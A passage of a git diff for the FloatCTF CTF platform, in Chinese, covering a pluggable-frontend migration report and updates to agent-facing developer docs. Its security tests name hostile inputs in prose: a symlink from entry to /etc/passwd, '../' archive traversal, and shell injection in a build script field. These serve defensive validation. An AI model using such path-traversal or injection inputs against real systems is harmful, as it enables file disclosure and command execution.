+ +### Artifact tree validation + +**问题(P0-D)**:只有归档解包做了成员校验;**源码构建产物**与**预构建目录**可以绕过它, +`[ -f "$dir/$entry" ]` 还会跟随符号链接,`cp -a` 也会保留链接。 + +**修复**:新增 `validate_artifact_tree`(python3 + `lstat` 语义),在**四个位置**统一执行: +归档解包后、源码构建后、预构建目录输入、安装暂存树 rename 前。 +拒绝符号链接、硬链接、FIFO、socket、块/字符设备;`frontend.json` / `entry` / `styles` +必须是**普通文件**(非符号链接)。 + +**证据**:负向矩阵全部拒绝且不留残留:`frontend.json` 符号链接、`entry → /etc/passwd`、 +相对符号链接逃逸、style 符号链接、FIFO、归档 `../` 穿越、归档绝对路径成员、 +归档符号链接、归档硬链接(每条都断言了**拒绝理由**,且被拒后无任何已安装资产)。 + +### Non-root source builds + +**问题(P0-E)**:文档里的生产命令是 `sudo frontend.sh install ...`,而脚本用 +`id -u` / `id -g` 作为容器 `--user`,于是**构建容器实际以 UID 0 运行**,与"隔离/非 root" +的说法矛盾。 + +**修复**:`resolve_build_identity()` —— sudo 场景用 `SUDO_UID`/`SUDO_GID`(非 0 校验), +普通用户用其自身,root 直接调用且无非 root 调用者时使用专用非特权身份 +(默认 `65534:65534`,可用 `FCTF_BUILD_UID/GID` 覆盖);`docker run` 前**断言 uid != 0**。 +源码与输出目录先暂存并 `chown` 给该身份(绝不为构建去放宽用户原仓库权限)。 + +**证据**:`_resolve-build-identity` 矩阵 —— `1000:1000`、`0/1234/5678 → 1234:5678`、 +`0 → 65534:65534`、`0/0/0 → 65534:65534`;普通用户直调 `1000:1000`; +`SUDO_UID=4242 SUDO_GID=4242 → 4242:4242`。外部仓库真实构建日志显示 +`源码构建完成(隔离容器,构建身份 1000:1000)`。 + +### Source manifest / build contract + +**问题(P1-A)**:文档承诺 `floatctf.frontend.json` 的 +`build.{packageManager,script,outputDir}`,但脚本只按 lockfile 判定包管理器、永远跑 `build`、 +只会在 `dist`/`build` 之间猜。 + +**修复**:实现文档化契约 —— 严格解析源码 manifest(只额外允许 `build`,且只允许那三个键; +`packageManager ∈ {auto,pnpm,npm,yarn}`;`script` 必须是**脚本名** +(`[A-Za-z0-9:_-]+`,绝不接受 shell 片段);`outputDir` 是安全相对目录)。 +容器内用**静态命令 + 环境变量**执行(`pnpm run "$FCTF_BUILD_SCRIPT"`),只复制 +`"$FCTF_OUTPUT_DIR"`,不再猜 dist/build。 + +**证据**:CLI 用例覆盖非法 packageManager / shell 注入 / outputDir 穿越 / 未知 build 键; +外部仓库 E2E 用 `build.script = "build:floatctf"` + `build.outputDir = "out-ui"` 真实构建成功。 + +### Manifest validator parity + +**问题(P1-B)**:`frontend.sh` 的校验只提取了部分字段,比 +`@floatctf/frontend-runtime` 的 `parseFrontendManifest` 宽松得多 —— 于是存在 +"CLI 说能装、浏览器说不能加载"的分叉风险。 + +**修复**:把规则搬进 registry helper 的 `parse_manifest`,**逐条对齐**权威实现 +(允许字段集合、`schemaVersion`、ID 格式与长度、semver、name/description/author 长度、 +compatibility 键与整数 major、`sdk` 类型与长度、styles 类型与上限、entry/styles 路径规则)。 +`frontend.sh verify` 走这条严格路径。 + +**证据**:新增 `cli-manifest-parity.test.ts`:**37 个用例**,同一组 fixture 同时跑 +权威解析器与 CLI,断言制品模式接受/拒绝完全一致;并断言源码模式接受时, +CLI 生成的制品 manifest 一定被权威解析器接受且不含 `build`。 + +### Contract version separation + +**问题(P1-C)**:`frontend.sh` 用 `REGISTRY_SCHEMA_VERSION` 校验 `frontend.json` 的 +`schemaVersion`。两者今天恰好都是 1,掩盖了"两个独立契约被耦合"这个事实。 + +**修复**:新增独立的 `MANIFEST_SCHEMA_VERSION="1"`,只用于 `frontend.json`; +`REGISTRY_SCHEMA_VERSION` 只用于 `registry.json`;两者通过环境变量注入 python 侧, +不再各存一份常量。架构门禁新增检查:两个常量必须分别存在。 + +**证据**:CLI 用例用 `schemaVersion: 2` 的 manifest 验证拒绝路径; +`check-architecture.sh` 断言两个常量同时存在。 + +### Immutable frontend versions + +**问题(P1-D)**:`--platform --reinstall` 允许"同 ID + 同版本 + 不同内容"替换资产, +而制品 URL 带 `Cache-Control: immutable` 长缓存 —— 浏览器不会看到新内容。 + +**修复**:**移除** `--reinstall`、`INSTALL_REINSTALL` 与同版本原子替换分支。 +规则对所有前端(含 `default`)一致: + +- 同 ID + 同版本 + 同内容 → 幂等成功(只补注册表条目,不重写资产); +- 同 ID + 同版本 + **不同内容 → 硬失败**,提示"发布新的前端版本号"。 + +`scripts/install.sh` 不再传 `--reinstall`;架构门禁断言该选项与状态变量都不存在。 + +**证据**:CLI 用例 —— 幂等重装成功、第三方变更被拒、`--platform` 变更被拒、 +`default` 变更被拒、`--reinstall` 选项本身已不存在(未知选项)。 + +### Explicit currentVersion removal semantics + +**问题(P1-E)**:删除当前版本时,旧实现用临时的版本排序器"猜"一个新的 currentVersion, +既违背"显式指针"架构,又会在混合预发布版本时因 `int`/`str` 比较抛 `TypeError`。 + +**修复**:删除某版本且它**不是** currentVersion → 允许;若是 currentVersion 且仍有其它版本 +→ **拒绝**并提示先 `frontend.sh set-current <其它版本>`;若是最后一个版本 / +`remove ` → 移除整条记录。绝不替用户猜。 + +**证据**:CLI 用例覆盖 `1.0.0` / `1.0.0-alpha` / `1.0.0-1` / `1.0.0-beta.1` 混排: +列表正常、删除 current 被拒、拒绝后资产未被删、set-current 后可删、可删非当前版本。 + +### External repository revalidation + +用**新的**临时外部仓库链路(`/tmp/fcft-external-frontend`,仓库之外)验证修正后的契约: + +| 检查 | 结果 | +|---|---| +| 独立仓库 + 无主仓库路径引用 | ✅ 0 处 | +| 只依赖 packed `@floatctf/sdk` / `@floatctf/frontend-runtime` | ✅(重新打包了改过的两个包;tarball 内 `src/` 0 项) | +| 非 React(自己的路由 `/workspace`、自己的登录 UX、自己的会话存储) | ✅ | +| **自定义 `build.script = build:floatctf`** | ✅ 容器内真实执行 | +| **自定义 `build.outputDir = out-ui`** | ✅ 只复制该目录 | +| 构建输出**不含** `frontend.json` | ✅ 由管理器从源码 manifest 生成 | +| 生成的制品 manifest 不含 `build`,且通过权威解析器 | ✅ | +| raw registry 不含来源路径 / Git URL | ✅ 0 处 | +| 安装成功 + 注册表更新 | ✅ `workspace@0.3.0`(构建身份 `1000:1000`) | +| 真实 bootstrap 在浏览器里加载它 | ✅ 页面显示 `workspace@0.3.0` 自有界面(footer:`外部前端 · workspace@0.3.0 · api 1 · runtime 1`) | + +浏览器验证使用真实 `apps/web` 产物 + 真实注册表 + 真实制品;唯一替身是 +`/api/frontend` 的静态桩(该端点已在 Phase 12 用真实 API 验证过)。 + +### Security negative tests + +统一由 `scripts/test-frontend-manager.sh`(**72 项,全绿**)与包内单测覆盖: + +| 类别 | 用例 | +|---|---| +| 归档 | `../` 穿越、绝对路径成员、符号链接、硬链接(各自断言拒绝理由) | +| 预构建目录 | `frontend.json` 符号链接、entry 符号链接、相对符号链接逃逸、style 符号链接、FIFO | +| 源码 manifest | 非法 packageManager、`script` shell 注入、`outputDir` 穿越、未知 build 键、非对象 build | +| 注册表 | 未知 root/frontend/version/compatibility 字段、`source`、凭据类元数据 | +| 不可变 | 同版本同内容幂等、同版本不同内容拒绝(第三方 / `--platform` / `default`) | +| 指针 | 删除 currentVersion 被拒 + 无不一致状态 + set-current 后可删 | +| 构建身份 | 普通用户 / sudo / root 直调三种入口都非 0 | +| SDK | 两客户端 / 两源 / 两 token 上下文互不干扰 | + +### Regression validation + +**单元/组件层**:SDK 工厂化重构后页面只改 import 来源、调用点零改动; +frontends/default 173 个用例全绿(含 AWD/AWDP 工作台、导航、事件网络页等); +SSE 断线回退/重连/认证失败停止重连语义用例全部保留通过。Rust 侧无行为改动,全量测试通过。 + +**真实浏览器(隔离验证栈:真实 API + 隔离数据库 + 真实内嵌 Caddyfile + 真实制品)**: + +| 流程 | 结果 | +|---|---| +| 落地/登录页 | ✅ `Sign in to FloatCTF` 正常渲染 | +| 选手登录(`1000000`/`testuser`) | ✅ 进入 Top 页,导航完整(说明 AuthStore → SDK token 注入链路正常) | +| 赛事列表 | ✅ 真实表格 + 分栏 + 分页 | +| 深路由整页刷新 | ✅ bootstrap → 默认前端接管当前路径 | +| **AWD 选手页 + 实时通道** | ✅ 页面渲染真实积分表;网络层 `GET /api/events//awd/stream` → **200**(走新的 `client.sse.connect` 路径) | +| 管理端(`sysadmin`) | ✅ 设置页渲染,前端选择器显示 `default / 平台内置 / 契约兼容 / 版本 1.0.2`(真实读注册表) | +| 控制台 | ✅ 无应用级报错(仅浏览器扩展噪声;另有未注册练习赛的 403/404,属预期鉴权结果) | + +**验证中撞到并确认的一个真实运维事实**:同一 `default@1.0.0` 被重新构建后, +浏览器仍按 `immutable` 缓存使用旧 chunk,导致新版前端加载失败(兜底页如实报出 +`default: process is not defined`)。这正是 P1-D 要解决的问题 —— 修好之后 +**同版本不同内容会被管理器直接拒绝**,验证改走"新版本号"(1.0.1 → 1.0.2)后一切正常。 +生产语义因此是自洽的:**内容变了就必须升前端版本号**。 + +### Final gate results + +见 §23 的最终证据表(本节只列 closure 新增项): + +| 新增门禁 | 结果 | +|---|---| +| `scripts/test-frontend-manager.sh` | ✅ 72/72 | +| `cli-manifest-parity.test.ts` | ✅ 37 用例(CLI ↔ 权威解析器一致) | +| `client.test.ts`(多客户端隔离) | ✅ 8 用例 | +| `sse-base-url.test.tsx` | ✅ 5 用例 | +| `registry.test.ts` 严格白名单 | ✅ +6 用例 | +| `scripts/check-architecture.sh` | ✅ 12 项(新增 SDK 全局绑定 / React 硬编码 URL / 公开注册表 schema 与 --reinstall / 公开子路径 4 类检查) | +| `mise run test` | ✅ 已把前端管理器测试纳入(`scripts/test-frontend-manager.sh`) | +| CI | ✅ `fast-web` 新增 `./scripts/test-frontend-manager.sh` | + +--- + +## 22. Remaining Risks + +1. **默认前端 JS 体积**:共享 chunk 4.32 MB(gzip **1.08 MB**)。迁移本身让 gzip 从 1.23 MB + 降到 1.08 MB(`NODE_ENV` 替换带来的 DCE),但**首屏仍然偏大**(mermaid/katex/xterm 等在 + 静态图内)。这是既有问题(HANDOFF 早已记载),未在本任务范围内做 code-split 优化。 +2. **升级必须升前端版本号**:资产带 `immutable` 长缓存,同版本换内容既被管理器拒绝、 + 对浏览器也不可见(Phase 12.1 已移除 `--reinstall` 例外)。发布工程必须记得 + 在 Default UI 变化时升 `frontends/default` 的版本号 —— 这是流程约束,不是代码缺陷。 +3. **`frontend.sh` 依赖宿主 `python3`**:用于 JSON 解析与原子注册表更新。 + 生产安装器已把它列入前置依赖与 Arch 包列表;极简主机需自行安装。 +4. **外部前端构建需要网络**:容器内通过 npm 安装 pnpm 并下载依赖;离线宿主需自备镜像/代理。 + 构建容器默认镜像 `node:26-bookworm`(首次会拉取)。 +5. **同标签内热切换前端仍不支持**:bootstrap 在页面加载时解析一次并 `mount`;切换 + `FRONTEND_ACTIVE` 后需要刷新页面(管理端会明确提示)。这是刻意的简单化,不是缺陷。 + (Phase 12.1 已修掉"客户端实例互相劫持"这个真正的隔离问题:现在多客户端完全独立。) +6. **公开注册表是严格契约**:任何非白名单字段都会让注册表校验失败(浏览器走回退链)。 + 工具链不要再往 `$FLOATCTF_HOME/frontends` 里写元数据;需要溯源时放在该树之外。 +7. **前端签名/来源校验未实现**:制品没有签名链,信任完全建立在"运维安装 + 同源提供" + 之上(与信任模型一致,但值得未来考虑)。 +8. **浏览器验证使用隔离库与本地 Caddy**:未在生产 Compose / 真实域名 + HTTPS 下跑一遍 + (本机同时跑着生产栈,按 HANDOFF 的告诫未启动 `mise run dev` 以免与生产争抢宿主资源)。 + 生产形态的静态路由、缓存头、SPA 回退、registry/资产服务均已用**真实 Caddyfile** 验证。 + +--- + +## 23. Final Verdict + +**最终门禁证据**(本分支 HEAD 上实测): + +| 门禁 | 结果 | +|---|---| +| `CI=true pnpm install --frozen-lockfile` | ✅ lockfile 一致(676 entries 通过供应链策略校验) | +| `bash -n` × 6 个脚本(frontend/install/clean/package-web-dist/verify-release-frontend/check-architecture) | ✅ 全部通过 | +| `mise run check` | ✅ **exit 0**(cargo fmt + clippy --workspace --all-targets --all-features + 5 包 biome lint + web:typecheck + web:architecture + Rust 全量测试 + web 测试) | +| `mise run build` | ✅ **exit 0**(`cargo build --workspace --release` + packages + bootstrap + Default Frontend 制品;`target/release/floatctf` 47.5 MB) | +| Web 测试(Phase 12.1 后) | ✅ **359** 个用例全绿(frontend-runtime 109、sdk 62、react 15、frontends/default 173)+ 前端管理器 **72** 项 | +| Rust 测试 | ✅ 61 个 suite 全绿(含源码边界测试 `push_flow_removed_from_source`) | +| `mise run db:gen:ts` | ✅ 幂等(生成结果与提交内容字节一致) | +| `scripts/check-architecture.sh` | ✅ OK(12 项:7 条原边界 + SDK 无全局绑定 + React 不硬编码站点路径 + 注册表/schema/--reinstall + 公开子路径) | +| `scripts/verify-release-frontend.sh` | ✅ OK(真实校验器验证发布制品) | +| `git diff --check` | ✅ 无空白/冲突标记问题 | +| 未 push | ✅ Phase 12.1 的 4 个提交只在本地(`git rev-list --count origin/ui..HEAD` = 4) | + +**PASS** + +- 三个包(`@floatctf/sdk` / `@floatctf/react` / `@floatctf/frontend-runtime`)边界由自动化门禁强制, + 测试 300 个(前端)+ Rust 全量门禁通过;依赖方向被掰正(不再有 `api → routes` 倒挂)。 +- 当前 UI 以 `frontends/default` 形式迁移,**UI/UX 等价**(真实浏览器逐流程验证), + 迁移暴露的唯一真实回归(lib 模式 `process` 未替换)已定位、修复、复验。 +- `apps/web` 成为 14 KB / gzip 5 KB 的纯引导页(无 React), + 生产加载链(`/api/frontend` → 本地注册表 → 同源版本化 ESM → `mount`)在真实 Caddy 下逐项验证。 +- `FRONTEND_ACTIVE` 动态设置 + 未认证引导端点 + 文件系统注册表 + 隔离构建的前端管理器 + + Caddy/安装器/卸载/CI/release 全部落地并实测。 +- 第三方前端的**外部仓库端到端验证**完成(独立仓库、非 React、自己的路由空间、 + packed 包、隔离容器构建、版本化安装、注册表更新、Admin UI 切换、破窗恢复); + 过程中发现的外部前端缺陷已修复并复验。 diff --git a/docs/agents/ADD-FEATURE.md b/docs/agents/ADD-FEATURE.md index 855831f9..a9f65508 100644 --- a/docs/agents/ADD-FEATURE.md +++ b/docs/agents/ADD-FEATURE.md @@ -84,11 +84,11 @@ state.publisher.publish(RealtimeEvent::new(entity_id, "score.changed", json!({.. `EventPublisher` trait 见 `infrastructure/realtime/`;测试用 `RecordingEventPublisher`。 -## 步骤 5:前端(apps/web) +## 步骤 5:前端(frontends/default) > 新增**数据页面**前必读 [DATA-FETCHING.md](./DATA-FETCHING.md):缓存分级、keepPreviousData、queryKey 失效等硬性规则。 -1. `src/entity/*.ts` 由 `db:gen` 生成,新表自动有类型;**不要手改**;改 Schema 后同步页面字段并用 `pnpm exec tsc --noEmit` 校验 +1. 实体类型在 `@floatctf/sdk/entity`(源文件 `packages/sdk/src/entity/*.ts`,由 `db:gen` 生成);**不要手改**;改 Schema 后同步页面字段并用 `pnpm --filter @floatctf/frontend-default exec tsc --noEmit` 校验 2. 页面组件:**先找同域参照页,仿照其结构、布局与交互**(赛事详情参照 `service/events/jeopardy.$id/*`、管理列表参照 `admin/challenges.tsx`);优先复用 `components/` 现有组件(GenericTable、EventStatusBadge、SubmitWriteup、MsgBanner、AppLink、FilterBar 等),禁止自创视觉风格或重复实现;数据请求用 TanStack Query(`useQuery`),路由用 TanStack Router 3. 数据页面性能基线(详见 DATA-FETCHING.md):用 useQuery、低频数据覆盖 `staleTime`、列表加 `keepPreviousData`、mutation 成功后 invalidate 对应 key、实时数据用 `refetchInterval`/`useAwdEventStream` 4. 管理端页面若有 API 权限要求,使用 admin 守卫 diff --git a/docs/agents/ARCHITECTURE.md b/docs/agents/ARCHITECTURE.md index 4c03d97f..0e96441d 100644 --- a/docs/agents/ARCHITECTURE.md +++ b/docs/agents/ARCHITECTURE.md @@ -13,13 +13,19 @@ floatctf/ │ │ └── src/ │ │ ├── api/ # HTTP 层:extractor(ReqCtx)、dto、app_error │ │ ├── bootstrap/ # 启动装配:mod(run)、state(AppState)、routes、scheduler -│ │ ├── core/ # 跨模块核心:config(AppConfig)、secret、security(jwt) +│ │ ├── core/ # 跨模块核心:config(AppConfig)、contract(契约版本)、secret、security(jwt) │ │ ├── entity/ # SeaORM 实体(脚本生成,勿手改) │ │ ├── infrastructure/ # 适配器:database、docker、redis、storage、logging、realtime、audit、settings、package、ratelimit、script_runner、helper -│ │ ├── modules/ # 业务模块(见 §2) +│ │ ├── modules/ # 业务模块(见 §2);platform/frontend = GET /api/frontend │ │ ├── scheduler/ # 后台任务引擎(engine + handlers + task_key) │ │ └── sql/ # SQL 迁移(migrations/ + merged.sql + migrate.sh) -│ └── web/ # 前端(React + TanStack Query + Tailwind) +│ └── web/ # **Web bootstrap**:解析并挂载已安装前端(无 React / 无 UI) +├── frontends/ +│ └── default/ # **官方前端**:当前完整 UI(React + TanStack Router + Primer) +├── packages/ +│ ├── sdk/ # @floatctf/sdk:传输/错误/领域 API/SSE/DTO/生成实体 +│ ├── react/ # @floatctf/react:可选 headless React 绑定(无 UI) +│ └── frontend-runtime/ # @floatctf/frontend-runtime:制品与运行时契约 + bootstrap ├── crates/ │ ├── fcmc/ # 容器管理 / 出题工具 CLI │ ├── awd-flagserver/ # AWD FlagServer 独立服务 @@ -277,4 +283,6 @@ mise run fmt / lint / test / check / build - **不要新增环境变量读取**:配置一律从 TOML(`ctx.config`)或 settings 表获取。 - **API 禁止直连 Docker daemon**:生产 API container 不挂 Docker socket、不带 capabilities;Bollard 必须连接 `[docker].socket_path = "/run/floatctf/helper-docker.sock"`。 - **entity/代码/DB Schema 三者必须一致**(详见 DATABASE.md 的"三处一致"原则)。 -- **前端导航必须走 TanStack Router**(`Link` 或 `navigate`),禁止裸 ``:裸 anchor 点击会整页刷新白屏并清空 QueryClient 缓存。SideBar 已有 onClick 拦截实现,新侧栏/导航组件照抄;回归测试见 `apps/web/src/components/SideBar.test.tsx`。 +- **前端导航必须走 TanStack Router**(`Link` 或 `navigate`),禁止裸 ``:裸 anchor 点击会整页刷新白屏并清空 QueryClient 缓存。SideBar 已有 onClick 拦截实现,新侧栏/导航组件照抄;回归测试见 `frontends/default/src/components/SideBar.test.tsx`。 +- **前端制品跑在纯浏览器环境**:没有 `process` / `require` / Node 全局。第三方依赖里的 `process.env.*` 必须在构建期替换(见 `frontends/default/vite.config.ts` 的 `define`)。漏掉会导致整页起不来。 +- **不要跨包 import 源码路径**:只能用 `@floatctf/sdk`、`@floatctf/react`、`@floatctf/frontend-runtime` 的公开导出;`mise run web:architecture` 会拦截。 diff --git a/docs/agents/DATA-FETCHING.md b/docs/agents/DATA-FETCHING.md index fe5c678d..0e21aa23 100644 --- a/docs/agents/DATA-FETCHING.md +++ b/docs/agents/DATA-FETCHING.md @@ -1,13 +1,18 @@ # 前端数据请求规范(DATA-FETCHING.md) +> **路径变更(可插拔前端平台)**:当前官方前端在 `frontends/default/src/`(`apps/web` 现在只是引导页)。 +> 下文的 `apps/web/src/X` 一律按 `frontends/default/src/X` 阅读。 +> 领域 API / DTO 在 `@floatctf/sdk`;query 工厂与 SSE hook 在 `@floatctf/react`, +> 由 `frontends/default/src/api/react.ts` 接线后以 `@/api/react` 暴露。 + > 数据页面(列表/详情/统计)的性能基线。**新增任何数据页面都要遵守本文件**,否则会退化:切 tab 反复请求、翻页闪骨架屏、窗口聚焦重刷。 ## 现状:已实施的基础设施(勿回退) | 位置 | 内容 | |------|------| -| `apps/web/src/integrations/tanstack-query/root-provider.tsx` | QueryClient **全局默认**:`staleTime: 5s`、`gcTime: 10min`、`refetchOnWindowFocus: false`、`retry: 1`(指数退避上限 8s);**模块级真单例**(HMR 热更新不重建缓存) | -| `apps/web/src/components/Table.tsx`(GenericTable) | 所有表格页内置 `staleTime: 30s` + `placeholderData: keepPreviousData`(翻页保留上一页数据) | +| `frontends/default/src/integrations/tanstack-query/root-provider.tsx` | QueryClient **全局默认**:`staleTime: 5s`、`gcTime: 10min`、`refetchOnWindowFocus: false`、`retry: 1`(指数退避上限 8s);**模块级真单例**(HMR 热更新不重建缓存) | +| `frontends/default/src/components/Table.tsx`(GenericTable) | 所有表格页内置 `staleTime: 30s` + `placeholderData: keepPreviousData`(翻页保留上一页数据) | | 分级示例(低频覆盖) | `admin/version.tsx` changelog、`service/profile.tsx` profile → `staleTime: 5min`(低频数据覆盖全局) | | 轮询(实时数据) | 得分榜/趋势/仪表盘等用 `refetchInterval`(30-60s),见各 events 页面 | @@ -68,11 +73,11 @@ const deleteMutation = useMutation({ ``` ### 5. 实时数据 -- 优先用封装好的 `useAwdEventStream`(SSE + 轮询兜底,`hooks/useAwdEventStream.ts`),不要自己写轮询 +- 优先用封装好的 `useAwdEventStream`(SSE + 轮询兜底;实现已迁到 `@floatctf/react`,页面从 `@/api/react` 引入),不要自己写轮询;SSE 传输本身在 `@floatctf/sdk`(Bearer 走 Authorization 头,绝不进 URL) - 轮询用 `refetchInterval`(React Query 内置,带后台暂停),不要用 `setInterval + 手动 setState` ### 6. entity 类型同步 -- 页面引用 `src/entity/*.ts`(由 `db:gen` 生成),**Schema 变更后必须重新生成并同步页面字段** +- 页面引用 `@floatctf/sdk/entity`(源文件 `packages/sdk/src/entity/*.ts`,由 `db:gen` 生成),**Schema 变更后必须重新生成并同步页面字段** - 引用了 entity 不存在的字段 → tsc 报错(历史遗留:solves.tsx 的 avatar/nickname、discussions 页面的字段);改 Schema 后 `mise run db:gen` 并用 `pnpm exec tsc --noEmit` 校验 ## 审查清单(新数据页面提交前) @@ -87,8 +92,8 @@ const deleteMutation = useMutation({ ## 验证命令 ```bash -cd apps/web +cd frontends/default pnpm exec tsc --noEmit # 类型检查(含 entity 同步) -pnpm build # 生产构建 +pnpm build # 生产构建(vite build && tsc) # dev 手动验证:切走再切回数据页,5s 内 Network 面板应无新请求(超过 5s 会后台刷新) ``` diff --git a/docs/agents/DATABASE.md b/docs/agents/DATABASE.md index 4ae2ceab..616364f6 100644 --- a/docs/agents/DATABASE.md +++ b/docs/agents/DATABASE.md @@ -13,7 +13,7 @@ | 为了"修一点"回头改已 apply / 已提交的 migration | 再写一条 forward migration 纠正 | | 手改 `merged.sql` | `mise run db:migration:merge` 重新生成 | | 手改 `schema_migrations` 表 / 在 migration SQL 里操作该表 | 由 `migrate.sh` 独占管理 | -| 手改 `apps/api/src/entity/` 或 `apps/web/src/entity/` | `mise run db:gen` | +| 手改 `apps/api/src/entity/` 或 `packages/sdk/src/entity/` | `mise run db:gen` | | 恢复旧 29 migrations、擅自 squash/baseline 重做 | 仅当用户明确批准 major-version 策略时才可讨论 | 唯一允许写入 migrations 目录的对象:**刚 `db:migration:new` 生成、尚未 apply、尚未作为历史固化的新文件**。 @@ -147,15 +147,15 @@ mise run db:gen # = db:gen:rs(Rust 实体)+ db:gen:ts(Web TS 类型) - 数据库运行中且含最新 Schema(apply 之后) - **sea-orm-cli 必须为 1.1.20**(`cargo install sea-orm-cli --version 1.1.20 --locked`) - 2.0.1 生成的 `rs_type = "Enum"` 与运行时 1.1.20 不兼容 → 全项目编译失败(E0425) -- 生成脚本会**删除并重建** `apps/api/src/entity/` 与 `apps/web/src/entity/`,所以**不要手改生成文件** +- 生成脚本会**删除并重建** `apps/api/src/entity/` 与 `packages/sdk/src/entity/`,所以**不要手改生成文件** 边界约定: - `public.schema_migrations` 是 migration 基础设施表,**不是**领域实体;`scripts/gen_entities.py` 通过 sea-orm-cli `--ignore-tables`(`EXCLUDED_TABLES`)排除,不得进入 Rust/Web entity -- `apps/web/src/entity/*` 只表示 **DB 列**;API 计算字段(如 settings 的 `resolved_value`)放在 manual DTO(`apps/web/src/api/admin/settings.ts` 的 `SettingsDto`),**不要**写回生成文件 +- `packages/sdk/src/entity/*` 只表示 **DB 列**(前端从 `@floatctf/sdk/entity` 引用);API 计算字段(如 settings 的 `resolved_value`)放在 manual DTO(`packages/sdk/src/api/admin/settings.ts` 的 `SettingsDto`),**不要**写回生成文件 - `db:gen` 必须可重复、确定性、不需要 `git restore` 生成后检查: -- `git diff apps/api/src/entity/ apps/web/src/entity/` 确认新列/新表出现、无关表未被误改 +- `git diff apps/api/src/entity/ packages/sdk/src/entity/` 确认新列/新表出现、无关表未被误改 - `cargo check -p floatctf` 确认代码与实体一致 - 理想情况下二次 `mise run db:gen` 后 working tree 仍干净 diff --git a/docs/agents/RULES.md b/docs/agents/RULES.md index 99c6c5ed..a9980102 100644 --- a/docs/agents/RULES.md +++ b/docs/agents/RULES.md @@ -5,18 +5,21 @@ ## 1. 前端仿照既有页面(最高频,曾被返工 6+ 次) +> **路径变更(可插拔前端平台)**:当前完整 UI 已迁到 `frontends/default/src/`; +> `apps/web` 现在只是引导页。下面提到的参照页路径请按 `apps/web/src/X` → `frontends/default/src/X` 阅读。 + 核心原则见 AGENTS.md 铁律 7。以下是用户明确拒绝过的真实案例与具体形态要求: ### 1.1 管理列表/库页:必须用 Challenges 页的内置 GenericTable 形态 -- 参照页唯一标准:`apps/web/src/routes/admin/challenges.tsx`。 +- 参照页唯一标准:`frontends/default/src/routes/admin/challenges.tsx`。 - 必须使用 GenericTable **内置**增删改查:`createFn` / `patchFn` / `mutationColumns` / `filterKeys` + `FilterBar`。 - **禁止**:自造普通 HTML 表格(第一版 GameBoxes 库页因此被拒);自定义 Dialog 表单替代内置 Add/Edit(第二版仍被拒,"还是不太一样啊")。 - 内置编辑形态需要提交全量配置时,直接用表单编辑整行配置即可;后端对相同内容幂等(digest 去重)不会产生垃圾数据。 ### 1.2 选手端赛事页:参照 JeopardyTeam 选手端 -- 参照页:`apps/web/src/routes/service/events/jeopardy.$id/*`。 +- 参照页:`frontends/default/src/routes/service/events/jeopardy.$id/*`。 - 列表用 Primer `Table.Container` + `DataTable`,布局用两栏 flex(真实 flex 比例,如 `flex-[3]`,`flex-28`/`flex-13` 这类 Tailwind 类不存在)。 - 反面案例:AWD 选手端 GameBoxes/Scoreboard 首版被用户评价"太丑了",按 JeopardyTeam 形态重做后通过。 @@ -34,7 +37,7 @@ ## 2. 禁止原生弹窗 -- 用户明确要求:前端代码中**不得出现** `alert(` / `confirm(`(全仓 grep 应为 0)。 +- 用户明确要求:前端代码中**不得出现** `alert(` / `confirm(`(`grep -rn 'alert(\|confirm(' frontends/default/src` 应为 0)。 - 一律使用 `@primer/react` 的 `useConfirm` / `Dialog` / `useMsgBanner` 实现确认、提示与横幅。 - 注意:`MsgBanner` 的 `BannerVariant` 只有 `critical|info|success|upsell|warning`,错误横幅用 `critical`;`useConfirm` 的 `confirmButtonType` 是直接字符串联合类型(`'normal'|'primary'|'danger'`)。 diff --git a/docs/agents/TESTING.md b/docs/agents/TESTING.md index 2e6d3a7d..3980d137 100644 --- a/docs/agents/TESTING.md +++ b/docs/agents/TESTING.md @@ -7,12 +7,17 @@ | 层级 | 位置 | 依赖 | 命令 | |------|------|------|------| | 单元测试 | 源码内 `#[cfg(test)] mod tests` | 无(禁 I/O) | `cargo test -p floatctf <关键词>` | +| 前端单元测试 | `frontends/default/src/**/__tests__/`、`packages/{sdk,react,frontend-runtime}/src/**/__tests__/` | 无 | `pnpm run test:web`(或 `mise run test`) | | 路由目录测试 | `apps/api/tests/` 下模块 | 无 | `cargo test --test http_auth_contract catalog_sizes` | | 鉴权契约 | `apps/api/tests/http_auth_contract.rs` | 运行中的 API | `cargo test --test http_auth_contract` | | 业务冒烟 | `apps/api/tests/http_flow.rs` | 运行中的 API + 可选账号 | `cargo test --test http_flow` | 全部跑:`cargo test -p floatctf`(mise 任务 `mise run test` 跑 workspace + 前端)。 +前端测试分布(可插拔前端平台):`packages/sdk` = 传输/错误/SSE;`packages/react` = headless hook 与 query key; +`packages/frontend-runtime` = manifest/注册表校验与 bootstrap 回退链;`frontends/default` = 官方前端的组件/导航逻辑。 +架构边界由 `mise run web:architecture`(`scripts/check-architecture.sh`)守护。 + ## 后台登录接口测试凭证 AI 在本地开发环境中测试后台登录接口时,使用以下账号: @@ -49,6 +54,9 @@ curl -X POST http://localhost:9090/api/users \ - `modules/event/jeopardy/domain/scoring.rs` — 积分公式 - `modules/event/awdp/domain/*` — 阶段/配置/评测分数纯逻辑 - `modules/event/awd/crypto.rs`、`modules/event/awd/infrastructure/firewall/*`、`modules/event/awd/domain/firewall_state.rs` 等 — 加密/防火墙规则 +- `packages/frontend-runtime/src/__tests__/*` — manifest/注册表严格校验、路径穿越拒绝、bootstrap 回退与兜底页 +- `packages/sdk/src/__tests__/*`、`src/sse/__tests__/*` — 错误归一化、token 独立注入、401 回调、SSE 重连语义 +- `frontends/default/src/components/__tests__/*` — 官方前端组件与导航回归 ## 写测试的硬性规则 diff --git a/docs/frontend/ARCHITECTURE.md b/docs/frontend/ARCHITECTURE.md new file mode 100644 index 00000000..8f4a4bb3 --- /dev/null +++ b/docs/frontend/ARCHITECTURE.md @@ -0,0 +1,252 @@ +# FloatCTF 可插拔前端平台(架构) + +> 本文是**前端平台**的权威架构文档。 +> 相关:[DEVELOPING.md](./DEVELOPING.md)(开发与外部仓库流程)、[ARTIFACT.md](./ARTIFACT.md)(制品 / manifest / 注册表 / 版本策略)。 +> 后端整体架构见 [../agents/ARCHITECTURE.md](../agents/ARCHITECTURE.md)。 + +## 1. Frontend ≠ Theme + +| 概念 | 定义 | +|------|------| +| **Frontend(前端)** | 一个**完整的、可替换的浏览器应用**:自己的框架、路由、路由路径、页面层级、布局、导航、登录 UX、选手 UX、管理端 UX、赛事/Jeopardy/AWD/AWDP UX、组件、设计系统、样式、动画、UI 状态与信息架构。 | +| **Theme(主题)** | 某个前端**自己内部**可选实现的东西(例如 